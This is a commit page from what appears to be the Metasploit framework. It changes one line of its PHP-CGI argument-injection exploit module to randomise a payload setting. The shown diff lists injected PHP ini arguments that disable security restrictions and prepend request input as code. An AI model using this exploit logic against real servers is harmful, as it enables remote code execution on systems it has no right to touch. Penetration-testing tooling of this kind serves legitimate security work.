Skip to content

Commit 028d4d6

Browse files
author
jvoisin
committed
Make the payload a bit more random
1 parent cb03ca9 commit 028d4d6

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/multi/http/php_cgi_arg_injection.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -114,7 +114,7 @@ def exploit
114114
create_arg("-d",'disable_functions=""'),
115115
create_arg("-d","open_basedir=none"),
116116
create_arg("-d","auto_prepend_file=php://input"),
117-
create_arg("-d", "cgi.force_redirect=0"),
117+
create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"),
118118
create_arg("-d", "cgi.redirect_status_env=0"),
119119
rand_opt_equiv("-n")
120120
]

0 commit comments

Comments
 (0)